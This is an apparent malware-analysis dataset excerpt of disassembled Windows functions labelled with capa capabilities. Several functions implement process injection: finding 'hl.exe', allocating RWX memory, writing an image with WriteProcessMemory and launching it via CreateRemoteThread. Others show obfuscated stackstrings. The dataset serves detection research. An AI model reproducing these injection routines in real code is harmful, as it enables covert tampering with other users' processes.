joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401300
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov ecx, dword [esp + 0xc]
sub eax, dword [ecx + 0x34]
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
push edi
mov dword [esp + 0x20], 0
mov dword [esp + 0x10], eax
lea esp, [esp]
movzx ebx, word [ecx + 6]
movzx eax, word [ecx + 0x14]
mov edi, dword [ebp]
xor esi, esi
test ebx, ebx
lea eax, [eax + ecx + 0x18]
jbe 0x401356
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x40133f
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp edi, edx
jb 0x40134c
add edx, ecx
cmp edi, edx
jb 0x40135a
add esi, 1
add eax, 0x28
cmp esi, ebx
jb 0x401335
xor ecx, ecx
jmp 0x401366
mov ecx, dword [eax + 0x14]
sub ecx, dword [eax + 0xc]
add ecx, edi
add ecx, dword [esp + 0x18]
mov eax, dword [ebp + 4]
mov edx, dword [esp + 0x20]
sub eax, 8
shr eax, 1
cmp edx, dword [esp + 0x24]
jae 0x4013b2
test eax, eax
lea edx, [ebp + 8]
jbe 0x4013a0
mov esi, eax
movzx eax, word [edx]
test eax, 0x3000
je 0x401398
mov edi, dword [esp + 0x10]
and eax, 0xfff
add eax, ecx
add dword [eax], edi
add edx, 2
sub esi, 1
jne 0x401381
mov eax, dword [ebp + 4]
add dword [esp + 0x20], eax
mov ecx, dword [esp + 0x1c]
mov ebp, edx
jmp 0x401320
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
ret

Function at 0x4014b0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x130
mov eax, dword [0x41a5a8]
xor eax, esp
mov dword [esp + 0x12c], eax
push ebx
push ebp
mov ebp, dword [esp + 0x13c]
push esi
push edi
push 0x124
lea eax, [esp + 0x18]
push 0
push eax
mov dword [esp + 0x1c], 0x128
call fcn.00407210
add esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401533
lea ecx, [esp + 0x10]
push ecx
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401533
lea ebx, [ebx]
lea edi, [esp + 0x34]
mov esi, str.hl.exe
mov ecx, 7
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x401550
lea eax, [esp + 0x10]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401510
xor al, al
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004055a3
add esp, 0x130
ret 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
push eax
push 0
push 0x1f0fff
mov dword [ebp + 4], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, 0xffffffff
mov dword [ebp], eax
setne al
jmp 0x401535
Function at 0x401580
Capabilities:
Get file attributes
Get file size
Read file on windows

Disassembly:
push ecx
push edi
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4015ef
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test eax, 0x800
push 0
je 0x4015bb
push ebx
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
jmp 0x4015c2
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [esi + 0xc], eax
call fcn.00403b08
mov edx, dword [esi + 0xc]
add esp, 4
push 0
lea ecx, [esp + 8]
push ecx
push edx
push eax
push edi
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
push edi
jne 0x4015f4
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop ecx
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
setne al
pop edi
pop ecx
ret

Function at 0x401610
Capabilities:
Allocate or change rwx memory
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 8
push ebx
push ebp
push esi
mov esi, ecx
mov ebx, dword [esi + 8]
cmp word [ebx], 0x5a4d
push edi
mov dword [esp + 0x14], ebx
je 0x401660
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x40163b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 8]
xor edi, edi
cmp eax, edi
je 0x401650
push eax
call fcn.0040559e
add esp, 4
mov dword [esi + 8], edi
mov dword [esi + 4], edi
mov dword [esi + 0xc], edi
xor al, al
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
mov ebp, dword [ebx + 0x3c]
add ebp, ebx
cmp dword [ebp], 0x4550
je 0x4016a1
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x40167c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 8]
xor edi, edi
cmp eax, edi
je 0x401650
push eax
call fcn.0040559e
add esp, 4
mov dword [esi + 8], edi
mov dword [esi + 4], edi
mov dword [esi + 0xc], edi
xor al, al
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0x50]
mov ecx, dword [esi]
push 0x40
push 0x3000
push eax
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x4016ca
call fcn.00401890
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp + 0x80]
mov eax, ebp
call fcn.004010a0
mov edx, dword [esi + 8]
mov ecx, dword [esi + 4]
add esp, 4
push ebp
push edx
push ecx
call fcn.004010f0
mov edx, dword [ebp + 0xa4]
mov eax, dword [esp + 0x20]
mov ebx, dword [ebp + 0xa0]
add esp, 0xc
push edx
push eax
mov eax, ebp
call fcn.004010a0
mov ecx, dword [esi + 8]
add esp, 4
push eax
push ebp
push ecx
mov eax, edi
call fcn.00401300
movzx edx, word [ebp + 0x14]
mov eax, dword [esi + 8]
mov ecx, dword [esi]
add esp, 0x10
push 0
add edx, 0x18
push edx
push eax
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [esi + 8]
mov ebx, dword [esi]
push ebp
push edx
call fcn.004013c0
add esp, 8
push ebp
push edi
call fcn.00401750
pop edi
mov al, 1
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401750
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x10c
mov eax, dword [0x41a5a8]
xor eax, esp
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0x114]
push ebx
push ebp
mov ebp, dword [esp + 0x118]
push edi
push 0x104
lea ecx, [esp + 0x14]
push ecx
push 0
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x10]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4017a0
sub eax, edx
cmp byte [esp + eax + 0xf], 0x5c
lea eax, [esp + eax + 0xf]
je 0x4017c1
mov byte [eax], 0
sub eax, 1
cmp byte [eax], 0x5c
jne 0x4017b6
mov edx, dword [esi]
push 4
push 0x3000
push 0x104
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
lea eax, [esp + 0x10]
lea ecx, [eax + 1]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x4017e1
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
sub eax, ecx
mov ecx, dword [esi]
push eax
lea eax, [esp + 0x18]
push eax
push edi
push ecx
call ebx
mov edx, dword [esp + 0xc]
push 0x40
mov dword [0x41b38d], edi
mov eax, dword [edx + 0x28]
push 0x3000
add eax, ebp
push 0x15
mov dword [0x41b398], eax
mov ecx, dword [esi]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, dword [esi]
push 0
push 0x15
push 0x41b38c
mov edi, eax
push edi
push edx
call ebx
mov eax, dword [esi]
push 0
push 0
push ebp
push edi
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esi]
push 0x14000
push 0x15
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [esp + 0x114]
pop edi
pop ebp
pop ebx
xor ecx, esp
call fcn.004055a3
add esp, 0x10c
ret 8
Function at 0x4018e0
Capabilities:
Enumerate pe sections
Get file size
Read file on windows

Disassembly:
push ecx
push edi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401943
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [esi + 0x38], eax
je 0x401943
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
mov dword [esi + 0x34], eax
je 0x401943
mov edx, dword [esi + 0x38]
push 0
lea ecx, [esp + 8]
push ecx
push edx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
mov eax, dword [esi + 0x34]
jne 0x401948
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor al, al
pop edi
pop ecx
ret
mov dword [esi], eax
mov ecx, dword [eax + 0x3c]
add eax, ecx
mov dword [esi + 4], eax
movzx edx, word [eax + 0x14]
mov ecx, dword [esi + 4]
lea eax, [edx + eax + 0x18]
xor edx, edx
mov dword [esi + 8], eax
cmp word [ecx + 6], dx
jbe 0x401990
xor ecx, ecx
lea eax, [esi + 0xc]
push ebx
mov edi, edi
mov ebx, dword [esi + 8]
mov ebx, dword [ecx + ebx + 0x14]
add ebx, dword [esi]
add edx, 1
mov dword [eax], ebx
mov ebx, dword [esi + 4]
movzx ebx, word [ebx + 6]
add eax, 4
add ecx, 0x28
cmp edx, ebx
jl 0x401970
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop ecx
ret

Function at 0x4019a0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4019c7
xor al, al
pop esi
pop ecx
ret
mov edx, dword [edi + 0x38]
mov eax, dword [edi + 0x34]
push 0
lea ecx, [esp + 8]
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4019c2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop esi
pop ecx
ret
Function at 0x4026f0
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [eax + 0x3c]
movzx ebx, word [ecx + eax + 6]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [eax + ecx + 0x18]
xor eax, eax
test ebx, ebx
mov dword [esp + 0x10], edx
jle 0x40273c
lea esp, [esp]
mov edi, str..modu
mov esi, edx
mov ecx, 6
xor ebp, ebp
repe cmpsb byte [esi], byte es:[edi]
je 0x402744
add eax, 1
add edx, 0x28
cmp eax, ebx
jl 0x402720
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edx, dword [esp + 0x10]
pop edi
pop esi
lea ecx, [eax + eax*4]
pop ebp
lea eax, [edx + ecx*8]
pop ebx
pop ecx
ret
Function at 0x402760
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41431b
mov eax, dword fs:[0]
push eax
sub esp, 0x378
mov eax, dword [0x41a5a8]
xor eax, esp
mov dword [esp + 0x370], eax
push ebx
push esi
push edi
mov eax, dword [0x41a5a8]
xor eax, esp
push eax
lea eax, [esp + 0x388]
mov dword fs:[0], eax
call fcn.004026f0
mov esi, eax
test esi, esi
jne 0x402928
mov dword [esp + 0x390], eax
push 0x104
lea eax, [esp + 0x170]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
jmp 0x4027e0
mov cl, byte [esp + eax + 0x16c]
mov byte [esp + eax + 0x64], cl
add eax, 1
test cl, cl
jne 0x4027e0
lea eax, [esp + 0x64]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x402800
mov ecx, dword [str.Filled.exe]
sub eax, edx
mov edx, dword [0x417500]
lea eax, [esp + eax + 0x60]
mov dword [eax], ecx
mov cx, word [0x417504]
mov dword [eax + 4], edx
mov dl, byte [0x417506]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
call fcn.00403680
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00402a10
mov eax, dword [esi]
mov ecx, dword [eax + 4]
lea eax, [ecx + esi]
xor edi, edi
test byte [eax + 8], 6
jne 0x40286a
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x40286a
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40288b
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x402883
or eax, 4
push 0
push eax
call fcn.00402510
lea edx, [esp + 0x274]
push edx
call fcn.004038e0
add esp, 4
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
lea eax, [esp + 0x28c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4028d4
mov ecx, dword [esp + 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, 1
jmp 0x402942
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea eax, [esp + 0x16c]
lea esi, [esp + 0x18]
mov dword [esp + 0x10], ebx
call fcn.004018e0
mov eax, ebx
mov ebx, esi
call fcn.004019f0
mov ecx, dword [esp + 0x10]
push 0
lea edx, [esp + 0x18]
push edx
push ecx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [esp + 0x64]
mov edi, esi
call fcn.004019a0
mov edx, dword [esp + 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x402940
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, dword [esi + 0xc]
push eax
mov eax, dword [esi + 0x10]
lea esi, [esp + 0x58]
call fcn.00401440
xor eax, eax
mov ecx, dword [esp + 0x388]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x370]
xor ecx, esp
call fcn.004055a3
mov esp, ebp
pop ebp
ret

Function at 0x4055a3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41a5a8]
jne 0x4055ad
repz ret
jmp fcn.00409b58
Function at 0x40bb6d
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x41a870]
je 0x40bb88
inc edi
cmp edi, 0x17
jb 0x40bb79
cmp edi, 0x17
jae 0x40bd08
push ebp
push 3
call fcn.00412111
cmp eax, 1
pop ecx
je 0x40bcd4
push 3
call fcn.00412111
test eax, eax
pop ecx
jne 0x40bbbc
cmp dword [0x41a2d0], 1
je 0x40bcd4
cmp ebx, 0xfc
je 0x40bd07
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x41bc08
push ebp
call fcn.00409c5c
add esp, 0xc
test eax, eax
je 0x40bbf2
push esi
push esi
push esi
push esi
push esi
call fcn.00405826
add esp, 0x14
push 0x104
mov esi, 0x41bc21
push esi
push 0
mov byte [0x41bd25], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40bc36
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00409c5c
add esp, 0xc
test eax, eax
je 0x40bc36
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00405826
add esp, 0x14
push esi
call fcn.00405cb0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x40bc7b
push esi
call fcn.00405cb0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x41bf1c
push 0x416324
sub ecx, eax
push ecx
push eax
call fcn.0040d9f6
add esp, 0x14
test eax, eax
je 0x40bc7b
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00405826
add esp, 0x14
jmp 0x40bc7d
xor esi, esi
push 0x416320
push ebx
push ebp
call fcn.0040d93a
add esp, 0xc
test eax, eax
je 0x40bc9d
push esi
push esi
push esi
push esi
push esi
call fcn.00405826
add esp, 0x14
push dword [edi*8 + 0x41a874]
push ebx
push ebp
call fcn.0040d93a
add esp, 0xc
test eax, eax
je 0x40bcbf
push esi
push esi
push esi
push esi
push esi
call fcn.00405826
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.00411f54
add esp, 0xc
jmp 0x40bd07
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x40bd07
cmp ebp, 0xffffffff
je 0x40bd07
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x41a874]
push dword [esi]
call fcn.00405cb0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x40c1d1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.0040bf5a
in eax, dx
and cl, byte [ebx]
lea eax, gs:[ebp - 0x58]
push eax
call fcn.0040bf6a
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.0040bf1f
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x40c248
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0040bf5a
out 0xb, al
enter 0xffffffffffff8de2, 0x45
rcl byte [eax - 0x18], 0xc5
cld
invalid

Function at 0x40c65b
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x40c631
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x40c6ad
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x40c694
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x40c69d
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x40c6a7
add ecx, eax
or byte [ecx], 4
invalid
invalid
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x40c689
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
invalid
invalid
Function at 0x411f54
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00409f60
xor ebx, ebx
cmp dword [0x41c0dc], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x41202a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x41210a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x41210a
push eax
call fcn.00409ef2
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41c0dc], eax
call esi
push eax
call fcn.00409ef2
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41c0e0], eax
call esi
push eax
call fcn.00409ef2
mov dword [0x41c0e4], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040b8fa
test eax, eax
pop ecx
pop ecx
je 0x411ff8
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00405826
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x41202a
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00409ef2
cmp eax, ebx
pop ecx
mov dword [0x41c0ec], eax
je 0x41202a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00409ef2
pop ecx
mov dword [0x41c0e8], eax
mov eax, dword [0x41c0e8]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4120af
cmp dword [0x41c0ec], ecx
je 0x4120af
push eax
call fcn.00409f69
push dword [0x41c0ec]
mov esi, eax
call fcn.00409f69
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4120af
cmp edi, ebx
je 0x4120af
call esi
cmp eax, ebx
je 0x41207c
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41207c
test byte [ebp - 0x18], 1
jne 0x4120af
lea eax, [ebp - 0x10]
push eax
call fcn.0040b931
test eax, eax
pop ecx
je 0x412097
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00405826
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4120a6
or dword [ebp + 0x10], 0x200000
jmp 0x4120ea
or dword [ebp + 0x10], 0x40000
jmp 0x4120ea
mov eax, dword [0x41c0e0]
cmp eax, dword [ebp - 8]
je 0x4120ea
push eax
call fcn.00409f69
cmp eax, ebx
pop ecx
je 0x4120ea
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4120ea
mov eax, dword [0x41c0e4]
cmp eax, dword [ebp - 8]
je 0x4120ea
push eax
call fcn.00409f69
cmp eax, ebx
pop ecx
je 0x4120ea
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41c0dc]
call fcn.00409f69
cmp eax, ebx
pop ecx
je 0x41210a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41210c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40102a
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
push ebx
push ebp
push esi
push edi
push str._JAVA_LAUNCHER_DEBUG
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xor ebp, ebp
pop ecx
test eax, eax
je 0x401079
push str.Windows_original_main_args:_n
call fcn.004010ff
mov edi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argc]
mov esi, ebp
pop ecx
call edi
cmp dword [eax], ebp
jle 0x401079
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argv]
mov eax, dword [eax]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.004010ff
add esp, 0xc
inc esi
call edi
cmp esi, dword [eax]
jl 0x401059
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
mov ebx, eax
lea ecx, [ebx*4 + 4]
push ecx
call sub.jli.dll_JLI_MemAlloc
pop ecx
pop ecx
mov esi, eax
call sub.jli.dll_JLI_GetStdArgs
mov edx, ebp
test ebx, ebx
jle 0x4010b7
mov edi, esi
mov ecx, dword [eax + edx*8]
inc edx
mov dword [edi], ecx
lea edi, [edi + 4]
cmp edx, ebx
jl 0x4010aa
mov ecx, dword [str.java]
mov dword [esi + edx*4], ebp
test ecx, ecx
jne 0x4010c6
mov ecx, dword [esi]
mov eax, dword [section..data]
test eax, eax
jne 0x4010d1
mov eax, dword [esi]
push ebp
push ebp
push ebp
push 1
push ecx
push eax
push 0x40225c
push 0x402260
push 0x403018
push 2
push 0x403004
push 5
push esi
push ebx
call sub.jli.dll_JLI_Launch
add esp, 0x38
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x401810
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40184f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40184f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40184f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40184f
cmp dword [ecx + 0x74], 0xe
jbe 0x40184f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret